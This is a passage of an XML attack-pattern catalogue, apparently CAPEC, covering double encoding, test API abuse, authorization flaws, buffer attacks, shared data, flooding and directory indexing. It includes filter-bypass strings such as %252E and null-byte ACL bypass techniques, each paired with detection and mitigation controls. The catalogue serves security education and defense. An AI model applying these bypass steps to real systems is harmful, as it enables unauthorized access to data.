					<Architectural_Paradigm>n-Tier</Architectural_Paradigm>
					<Architectural_Paradigm>SOA</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>John Steven</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-02-10</Submission_Date>
						<Submission_Comment>Initial core pattern content</Submission_Comment>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Chiradeep B. Chhaya</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-23</Modification_Date>
						<Modification_Comment>Fleshed out pattern with extra
							content</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in Description
							and Related Attack Patterns</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-13</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="120" Name="Double Encoding" Pattern_Abstraction="Standard"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>The attacker utilizes a repeating of the encoding process for a set of
						characters (that is, character encoding a character encoding of a character)
						to obfuscate the payload of a particular request. The may allow the attacker
						to bypass filters that attempt to detect illegal characters or strings, such
						as might be used in traversal or injection attacks. Filters may be able to
						catch illegal encoded strings but may not catch doubly encoded strings. For
						example, a dot (.), often used in path traversal attacks and therefore often
						blocked by filters, could be URL encoded as %2E. However, many filters
						recognize this encoding and would still block the request. In a double
						encoding, the % in the above URL encoding would be encoded again as %25,
						resulting in %252E which some filters might not catch, but which could still
						be interpreted as a dot (.) by interpreters on the target.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>Try double-encoding for parts of the input in
												order to try to get past the filters. For instance,
												by double encoding certain characters in the URL
												(e.g. dots and slashes) an attacker may try to get
												access to restricted resources on the web server or
												force browse to protected pages (thus subverting the
												authorization service). An attacker can also attempt
												other injection style attacks using this attack
												pattern: command injection, SQL injection,
												etc.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The target's filters must fail to detect that a character has been doubly
						encoded but its interpreting engine must still be able to convert a doubly
						encoded character to an un-encoded character.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>Tools that automate encoding of data can assist attackers in generating
					encoded strings.</Text>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>267<!--Leverage Alternate Encoding--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="121" Name="Locate and Exploit Test APIs" Pattern_Abstraction="Standard"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker exploits a sample, demonstration, or test API that is insecure
						by default and should not be resident on production systems. Some
						applications include APIs that are intended to allow an administrator to
						test and refine their domain. These APIs should usually be disabled once a
						system enters a production environment. Testing APIs may expose a great deal
						of diagnostic information intended to aid an administrator, but which can
						also be used by an attacker to further refine their attack. Moreover,
						testing APIs may not have adequate security controls or may not have
						undergone rigorous testing since they were not intended for use in
						production environments. As such, they may have many flaws and
						vulnerabilities that would allow an attacker to severely disrupt a
						target.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The target must have installed test APIs and failed to secure or remove
						them when brought into a production environment.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Resources_Required>
				<Text>For some APIs, the attacker will need that appropriate client application that
					interfaces with the API. Other APIs can be executed using simple tools, such as
					web browsers or console windows. In some cases, an attacker may need to be able
					to authenticate to the target before it can access the vulnerable APIs.</Text>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>770<!--Allocation of Resources Without Limits or Throttling--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>113<!--API Abuse/Misuse--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="122" Name="Exploitation of Authorization" Pattern_Abstraction="Standard"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker is able to exploit features of the target that should be
						reserved for privileged users or administrators but are exposed to use by
						lower or non-privileged accounts. Access to sensitive information and
						functionality must be controlled to ensure that only authorized users are
						able to access these resources. If access control mechanisms are absent or
						misconfigured, a user may be able to access resources that are intended only
						for higher level users. An attacker may be able to exploit this to utilize a
						less trusted account to gain information and perform activities reserved for
						more trusted accounts. This attack differs from privilege escalation and
						other privilege stealing attacks in that the attacker never actually
						escalates their privileges but instead is able to use a lesser degree of
						privilege to access resources that should be (but are not) reserved for
						higher privilege accounts. Likewise, the attacker does not exploit trust or
						subvert systems - all control functionality is working as configured but the
						configuration does not adequately protect sensitive resources at an
						appropriate level.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The target must have mis-configured their access control mechanisms such
						that sensitive information, which should only be accessible to more trusted
						users, remains accessible to less trusted users.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The attacker must have access to the target, albeit with an account that
						is less privileged than would be appropriate for the targeted
						resources.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>No special resources are required for this attack beyond the ability to access
					the target.</Text>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>732<!--Incorrect Permission Assignment for Critical Resource--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>602<!--Client-Side Enforcement of Server-Side Security--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>434<!--Unrestricted Upload of File with Dangerous Type--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>232<!--Exploitation of Privilege/Trust--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="123" Name="Buffer Attacks" Pattern_Abstraction="Standard"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker manipulates a data buffer to change the execution flow of a
						process to a sequence of events the attacker controls. Data buffers in
						software applications provide a storage-space for external input. Buffer
						attacks provide input the buffer cannot correctly handle. Buffer attacks are
						distinguished in that it is the buffer space itself that is the target of
						the attack rather than any code responsible for interpreting the content of
						the buffer. In virtually all buffer attacks the content that is placed in
						the buffer by the user is immaterial. Instead, most buffer attacks involve
						providing more input than the buffer can store, resulting in the overwriting
						of other program memory or even the program stack with user supplied
						input.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The target must accept input provided by the attacker and store it in a
						buffer.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>The attacker must posess a programmatic means for supplying data to a buffer,
					such as a compiled C or scripted exploit in perl. Network buffer overflows rely
					on connectivity of a protocol to deliver the payload.</Text>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>255<!--Data Structure Attacks--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="124" Name="Attack through Shared Data" Pattern_Abstraction="Standard"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker exploits a data structure shared between multiple applications
						or an application pool to affect application behavior. Data may be shared
						between multiple applications or between multiple threads of a single
						application. Data sharing is usually accomplished through mutual access to a
						single memory location. If an attacker can manipulate this shared data
						(usually by co-opting one of the applications or threads) the other
						applications or threads using the shared data will often continue to trust
						the validity of the compromised shared data and use it in their
						calculations. This can result in invalid trust assumptions, corruption of
						additional data through the normal operations of the other users of the
						shared data, or even cause a crash or compromise of the sharing
						applications.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The target applications (or target application threads) must share data
						between themselves.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The attacker must be able to manipulate some piece of the shared data
						either directly or indirectly and the other users of the data must accept
						the changed data as valid.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>The attacker must be able to change the shared data. Usually this requires
					that the attacker be able to compromise one of the sharing applications or
					threads in order to manipulated the shared data.</Text>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>682<!--Incorrect Calculation--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>255<!--Data Structure Attacks--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="125" Name="Resource Depletion through Flooding"
			Pattern_Abstraction="Standard" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker consumes the resources of a target by rapidly engaging in a
						large number of interactions with the target. This type of attack generally
						exposes a weakness in rate limiting or flow control in management of
						interactions. Since each request consumes some of the target's resources, if
						a sufficiently large number of requests must be processed at the same time
						then the target's resources can be exhausted.</Text>
					<Text>The degree to which the attack is successful depends upon the volume of
						requests in relation to the amount of the resource the target has access to,
						and other mitigating circumstances such as the target's ability to shift
						load or acquired additional resources to deal with the depletion. The more
						protected the resource and the greater the quantity of it that must be
						consumed, the more resources the attacker may need to have at their
						disposal. A typical TCP/IP flooding attack is a Distributed
						Denial-of-Service attack where many machines simultaneously make a large
						number of requests to a target. Against a target with strong defenses and a
						large pool of resources, many tens of thousands of attacking machines may be
						required.</Text>
					<Text>When successful this attack prevents legitimate users from accessing the
						service and can cause the target to crash. This attack differs from resource
						depletion through leaks or allocations in that the latter attacks do not
						rely on the volume of requests made to the target but instead focus on
						manipulation of the target's operations. The key factor in a flooding attack
						is the number of requests the attacker can make in a given period of time.
						The greater this number, the more likely an attack is to succeed against a
						given target.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>Any target that services requests is vulnerable to this attack on some
						level of scale.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>A script or program capable of generating more requests than the target can
					handle, or a network or cluster of objects all capable of making simultaneous
					requests.</Text>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>404<!--Improper Resource Shutdown or Release--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>770<!--Allocation of Resources Without Limits or Throttling--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>119<!--Resource Depletion--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="127" Name="Directory Indexing" Pattern_Abstraction="Standard"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker crafts a request to a target that results in the target
						listing/indexing the content of a directory as output. One common method of
						triggering directory contents as output is to construct a request containing
						a path that terminates in a directory name rather than a file name since
						many applications are configured to provide a list of the directory's
						contents when such a request is received. An attacker can use this to
						explore the directory tree on a target as well as learn the names of files.
						This can often end up revealing test files, backup files, temporary files,
						hidden files, configuration files, user accounts, script contents, as well
						as naming conventions, all of which can be used by an attacker to mount
						additional attacks. </Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Directory Discovery</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Use a method, either manual, scripted, or
												automated to discover the directories on the server
												by making requests for directories that may possibly
												exist. During this phase the attacker is less
												concerned with whether a directory can be accessed
												or indexed and more focused on simply discovering
												what directories do exist on the target.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Send requests to the web server for common
												directory names</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>If directories are discovered that are
												native to a server type further refine the
												direcory search to include directories usually
												present on those types of servers.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Search for uncommon or potentially user
												created directories that may be present.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>ACLs or other access control mechanisms are
												present in the application or server configuration
												that indicate the existence of the directory but
												the attacker lacks the proper authorization to
												access the directory (HTTP Status Code 401)</Text>
												</Indicator_Description>
												<Environments>env-Web
												env-ClientServer</Environments>
											</Indicator>
											<Indicator ID="2" type="Positive">
												<Indicator_Description>
												<Text>ACLs or other access control mechanisms are
												present in the application or server configuration
												that indicate the existence of the directory, but
												access is forbidden and authorization will not
												help. (HTTP Status Code 403)</Text>
												</Indicator_Description>
												<Environments>env-Web
												env-ClientServer</Environments>
											</Indicator>
											<Indicator ID="3" type="Positive">
												<Indicator_Description>
												<Text>The directory exists and can be accessed.
												HTTP Status Code 200 is the standard code for a
												successful request</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="4" type="Inconclusive">
												<Indicator_Description>
												<Text>The directory may or may not exist because
												the server is redirecting the user to another
												location. HTTP Status codes 301 or 302 indicate
												the server configuration is redirecting the user
												to some other page or directory.It cannot be
												automatically assumed that the location to which
												the attacker is redirected is the requested
												directory located elsewhere.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker compiles a list of
												one or more directories that exist on the server.
												Some of these directories may not be immediately
												accessable but they are
												present.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor velocity of
												page fetching in web logs. Humans who view a page
												and select a link from it will click far slower
												and far less regularly than tools. Tools make
												requests very quickly and the requests are
												typically spaced apart regularly (e.g. 0.8 seconds
												between them). </Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Block access to the
												directory listing by setting access control in the
												.htaccess file.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Actively monitor the
												application and either deny or redirect requests
												from origins that appear to be
												automated.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Iteratively explore directory/file
											structures</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker attempts to access the discovered
												directories that allow access and may attempt to
												bypass server or application level ACLs by using
												manual or automated methods</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Use a scanner tool to dynamically add
												directories/files to include their scan based upon
												data obtained in initial probes.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Use a browser to manually explore the
												website by issuing a request ending the URL in a
												slash '/'.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Attempt to bypass ACLs on directories by
												using methods that known to work against some
												server types by appending data to the directory
												request. For instance, appending a Null byte to
												the end of the request which may cause an ACL to
												fail and allow access.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="4">
												<Attack_Step_Technique_Description>
												<Text>Sequentially request a list of common base
												files to each directory discovered.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="5">
												<Attack_Step_Technique_Description>
												<Text>Try multiple fuzzing techniques to list
												directory contents for directories that will not
												reveal their contents with a "/" request</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>There are no normal base files (index.html
												/home.html /default.html /default.asp /default.asp
												/ index.php) at present</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="2" type="Positive">
												<Indicator_Description>
												<Text>“File not found” error messages along with
												invalid path name.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="3" type="Inconclusive">
												<Indicator_Description>
												<Text>The website automatically redirects to the
												base file. Note that the attacker may still be
												able to explore the directory listings.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="4" type="Negative">
												<Indicator_Description>
												<Text>Error 403 Forbidden message displays. The
												access to directory indexing is blocked by the web
												server.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>A list of files within a
												requested directory.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Success">
												<Outcome_Description>A “File not found” error
												messages along with invalid path
												name.</Outcome_Description>
											</Outcome>
											<Outcome ID="3" type="Success">
												<Outcome_Description>The directory index page shows
												that there are some sub-directories or files
												available in the current
												directory</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor velocity of
												page fetching in web logs. Humans who view a page
												and select a link from it will click far slower
												and far less regularly than tools. Tools make
												requests very quickly and the requests are
												typically spaced apart regularly (e.g. 0.8 seconds
												between them). </Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Block access to the
												directory listing by setting access control in the
												.htaccess file.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Automatically
												redirects to the base file if the request has not
												given specific
												filename.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="3" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Read directories or files which are not
											intended for public viewing.</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker attempts to access the discovered
												directories that allow access and may attempt to
												bypass server or application level ACLs by using
												manual or automated methods</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Try multiple exploit techniques to list
												directory contents for directories that will not
												reveal their contents with a "/" request</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Try other known exploits to evelate
												privileges sufficient to bypass protected
												directories.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>List the files in the directory by issuing a
												request with the URL ending in a “/” slash.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="4">
												<Attack_Step_Technique_Description>
												<Text>Accessthe files via direct URL and capture
												contents.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="5">
												<Attack_Step_Technique_Description>
												<Text>Attempt to bypass ACLs on directories by
												using methods that are known to work against some
												server types by appending data to the directory
												request. For instance, appending a Null byte to
												the end of the request which may cause an ACL to
												fail and allow access.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="6">
												<Attack_Step_Technique_Description>
												<Text>Sequentially request a list of common base
												files to each directory discovered.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>A request for the directory name yields a
												directory listing</Text>
												</Indicator_Description>
												<Environments>env-All</Environments>
											</Indicator>
											<Indicator ID="2" type="Positive">
												<Indicator_Description>
												<Text>Either an application or server exploit
												yields a directory listing</Text>
												</Indicator_Description>
												<Environments>env-All</Environments>
											</Indicator>
											<Indicator ID="3" type="Negative">
												<Indicator_Description>
												<Text>Errors 401 or 403 indicate access to
												directory indexing is blocked by the web server
												and all methods tried have yielded no success to
												bypass the ACL or elevate the attackers
												privileges.</Text>
												</Indicator_Description>
												<Environments>env-All</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>Directory contents are
												accessible to the attacker.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor server logs
												for unintended file or directory
												access.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Detective">
												<Security_Control_Description>Monitor errors (e.g.,
												404, 401, 403) from web servers, application
												servers and generate an alert on a
												disproportionate number of HTTP
												errors.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Detective">
												<Security_Control_Description>Identify platform and
												application-specific sensitive directories and
												generate logs and alerts for any requests to these
												resources. Setup ACLs as your operating system,
												application, and server permit. Consult your
												server or applciation documentation for the proper
												procedure. </Security_Control_Description>
											</Security_Control>
											<Security_Control ID="4" type="Preventative">
												<Security_Control_Description>Automatically redirect
												to the base file (such as index.html) for the
												requests without given specific file
												name.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="5" type="Preventative">
												<Security_Control_Description> Not allow access to
												the sensitive files (such as DB dump data)
												directly.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="6" type="Preventative">
												<Security_Control_Description>Monitor the volume of
												failed requests and either deny or redirect
												requests that appear to be generated by a bot,
												script, or some other form of scanning tool.
												</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="7" type="Corrective">
												<Security_Control_Description>Obtain a list of
												sensitive areas that should not be directly
												accessible based on your application and server
												type. Use an external protection device such as a
												filtering proxy, packet scrubbing load balancer,
												etc., and frequently update the list of protected
												areas.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>1.The target must be misconfigured to return a list of a directory's
						content when it receives a request that ends in a directory name rather than
						a file name.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>2. The attacker must be able to control the path that is requested of the
						target.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The deployer must have failed to properly configure an ACL or has
						associated an overly permissive ACL with a particular directory.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The server version or patch level must not inherently prevent known
						directory listing attacks from working.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Brute Force</Method_of_Attack>
				<Method_of_Attack>API Abuse</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>In this example, the attacker uses directory listing to view sensitive
							files in the application. This is an example of accessing the backup
							file. The attack issues a request for http://www.example.com/admin/ and
							receives the following dynamic directory indexing content in the
							response: Index of /admin Name Last Modified Size Description backup/
							31-May-2007 08:18 - Apache/ 2.0.55 Server at www.example.com Port
							80</Text>
						<Text>The target application does not have direct hyperlink to the “backup”
							directory in the normal html webpage, however the attacker has learned
							of this directory due to indexing the content. The client then requests
							the backup directory URL and receives output which has a “db_dump.php”
							file in it. This sensitive data should not be disclosed publicly.
						</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>To issue the request to URL without given a specific file name</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>High</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>To bypass the access control of the directory of listings</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>Ability to send HTTP requests to a web application. </Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text> 1. Using blank index.html: putting blank index.html simply prevent
						directory listings from displaying to site visitors. </Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>2. Preventing with .htaccess in Apache web server: In .htaccess, write
						“Options-indexes”. </Text>
				</Solution_or_Mitigation>
